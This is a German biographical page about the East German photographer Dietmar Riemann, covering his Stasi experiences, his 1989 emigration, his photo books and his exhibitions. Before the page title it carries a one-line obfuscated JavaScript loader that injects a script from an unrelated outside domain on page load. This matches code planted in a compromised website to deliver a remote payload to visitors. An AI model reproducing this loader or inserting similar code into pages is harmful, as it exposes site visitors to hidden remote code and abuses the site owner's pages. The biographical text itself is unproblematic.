;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Vita - DDR-Fotografie-Riemann

Siehe auch Kurzfassung bei Wikipedia

Vita

  • Geboren 1950 in der Deutschen Demokratischen Republik (DDR), kurz nach deren Gründung.
  • Kindheit in einer Kleinstadt in Sachsen.
  • Nach dem Besuch einer Polytechnischen Oberschule, die bis 1961 (!) stolz den Namen des sowjetischen Diktators J.W. Stalin trägt, Fotografenlehre.
  • Schon der Riemann-Großvater und der Vater waren “Lichtbildner”.
  • Schüler des Leisniger Malers und Grafikers Karl Wagler (1887-1975). Später enger Freund und Erbe des kulturpolitisch geächteten Mannes (Ausschluss des Malers aus dem Künstlerverband der DDR).
  • Werksfotograf im Braunkohlenkraftwerk Boxberg/Lausitz, in einem der grössten Volkseigenen Betriebe (VEB) des seit 1961 perfekt ummauerten Landes DDR. Hier massive Anwerbeversuche durch den Geheimdienst. Der Fotograf sollte der Staatssicherheit (Stasi) als Inoffizieller Mitarbeiter (IM) dienen, was er ablehnt. Nach längerem Druck Selbstenttarnung durch Dekonspiration (Die Geschichte ist in dem Buch von Roman Grafe “Die Schuld der Mitläufer” nachzulesen).
  • Abschluss als Fotografenmeister und schliesslich, nach mehreren Fotografiepreisen, in die “sozialistische Hauptstadt Berlin” gerufener Architekturfotograf bei der “Deutschen Bauakademie”.
  • Nach Heirat einer Fotografenmeisterin Mitarbeit im renommierten Portraitstudio Wähner der Ehefrau in der Ostberliner Friedrichstrasse. Nach dem Zusammenbruch der DDR sagt die Stasi-Akte aus, dass “bei dem durch R. betriebenen Fotogeschäft” auf Grund der “umfangreichen Kontakte des R. in das NSW (nichtsozialistische Wirtschaftsgebiet)” ein “gegnerischer Stützpunkt/Deckadresse” des Westens vermutet wurde.
  • Kunsthochschulstudium an der Hochschule für Grafik und Buchkunst in Leipzig. Diplom mit einer Arbeit über geistig behinderte Menschen (in einer kirchlichen Einrichtung).
  • Nach Kandidatenzeit Mitglied im einst elitären Verband Bildender Künstler (VBK der DDR).
  • Als “staatlich zugelassener” Freiberufler vor allem Arbeit für Verlage, vornehmlich der Kunst und der Kunstgeschichte dienend.
  • Ausstellungen und Bücher folgen, auch Bücher ohne Auftrag (z.B. der Bildband “Was für eine Insel in was für einem Meer – Leben mit Geistig Behinderten” mit einem Essay des in der Bevölkerung der DDR auch wegen seines dissidenten Verhaltens hochgeachteten Schriftstellers Franz Fühmann).
  • Ankauf von Fotografien durch die Berliner Nationalgalerie (aus dem Bildband “Der Gute Ort in Weissensee”).
  • Eine Ausstellung der Behinderten-Bilder in der Galerie eines Berliner Kulturhauses (heute “Brotfabrik”) wird zwangsweise abgehängt, die Galeristin entlassen, das ganze Haus vorerst geschlossen. Das bedeutete de facto Ausstellungsverbot in staatlichen Einrichtungen.
  • Antrag auf ständige Ausreise nach Westberlin und auf Entlassung aus der Staatsbürgerschaft der DDR.
  • Mit Beginn der Antragstellung heimliche Arbeit an einem Ausreisetagebuch (Text und Fotografie).
  • Nach fast vier Jahren “Wartezeit” (Januar 1986 bis September 1989), erst kurz vor der “Wende”, Übersiedlung in den freien Teil Deutschlands.
  • Verbunden mit mehreren der Brotarbeit nacheilenden Umzügen verliert sich die Spur des Fotografen vorerst für einige Jahre im Südwesten eines inzwischen wiedervereinigten Deutschland.
  • Feste Ansiedlung in Mosbach bei Heidelberg. Arbeit an neuen Projekten.
  • Es erscheint der Panoramabildband “Spaziergänge um Mosbach” im Heidelberger Verlag Edition Braus.
  • Das “Tagebuch einer Ausreise” wird bei dem Göttinger Verlag Vandenhoeck und Ruprecht veröffentlicht.
  • Als exemplarisches Dokument einer Emigration von Deutschland nach Deutschland fand und findet das Tagebuch auch in den Medien Interesse, neben Printveröffentlichungen (u.a. in der ZEIT und in ZEIT-Geschichte) gibt es mehrere Rundfunksendungen und beim japanischen Fernsehen (NHK) einen Dokumentarfilm. Im WDR-Fernsehen, in der Talk-Runde “west.art am Sonntag”, wird der Fotograf mit seinen Tagebuchbildern vorgestellt.
  • Unter der Überschrift “Fotografien aus der DDR – Die Sicht von Dietmar Riemann” wird an der Freiburger Albert-Ludwigs-Universität eine kunsthistorische Magisterarbeit (MA) vorgelegt.
  • Die Originaltagebücher und DDR Fotos spielen in einer Ausstellung der Deutschen Kommunikationsmuseen, die unter dem Titel “@bsolut privat!? – Vom Tagebuch zum Weblog” läuft und von Frankfurt am Main über Nürnberg und Berlin wandert, eine herausgehobene Rolle (neben Anne Frank u.a.).
  • Beim Münchener Pantheon Verlag erschien das Buch “Die Schuld der Mitläufer – Anpassen oder Widerstehen in der DDR” (Hg. Roman Grafe). In dieser Anthologie ist neben Biermann, Grafe, Loest, Corino, Krawczyk, Rathenow, Klier u.a. auch Riemann vertreten.
  • Die Wochenzeitung DIE ZEIT schreibt in einem zweiten ausführlichen Beitrag zu Riemanns Ausreise-Geschichte unter der Überschrift “Die Vorhut” im Feuilleton einen Artikel zur historischen Bedeutung von Flucht und Ausreise aus der DDR.
  • Das Goethe-Institut in Damaskus lädt Riemann zu einer Ausstellung seiner Tagebuchbilder und zu einem längeren fotografischen Aufenthalt in die syrische Hauptstadt ein. Anlässlich einer Veranstaltungsreihe zum 20. Jahrestag der deutschen Wiedervereinigung in Jordanien wird die Ausstellung in der University of Jordan in Amman gezeigt. Danach im Irak, im Goethe-Institut in Erbil und zuletzt wieder in Syrien, im Goethe-Institut in Aleppo.
  • Mitarbeit als aktiver Zeitzeuge der Bundesstiftung zur Aufarbeitung der SED-Diktatur ( www.zeitzeugenbuero.de ), der Gedenkstätte Berlin-Hohenschönhausen und anderer Stiftungen.
  • Der Fotograf tritt der SPD bei.
  • In dem opulenten Werk “Deutschland im Fotobuch” (Steidl – Verlag, Göttingen) wird der Bildband “Was für eine Insel in was für einem Meer – Leben mit Geistig Behinderten” neben zahlreichen anderen Fotobüchern berühmter Autoren ausführlich dargestellt und seine schwierige Entstehungsgeschichte beschrieben.
  • Beim Mitteldeutschen Verlag in Halle erscheint der Bildband “Schöne Grüße aus der DDR – Fotografien 1975 – 1989” (150 Bilder), mit Texten von Roman Grafe.
  • Die Stftung “Haus der Geschichte der Bundesrepublik Deutschland” übernimmt für die Berliner Dauerausstellung “Alltag in der DDR” die Original-Tagebücher und weiteren Nachlaß.
  • 2015 kauft der durch seine fotohistorische Kollektion am Museum of Fine Arts in Houston (Texas, USA) international bekannte Sammler Manfred Heiting eine Mappe mit 30 farbigen DDR-Schaufenster-Bildern.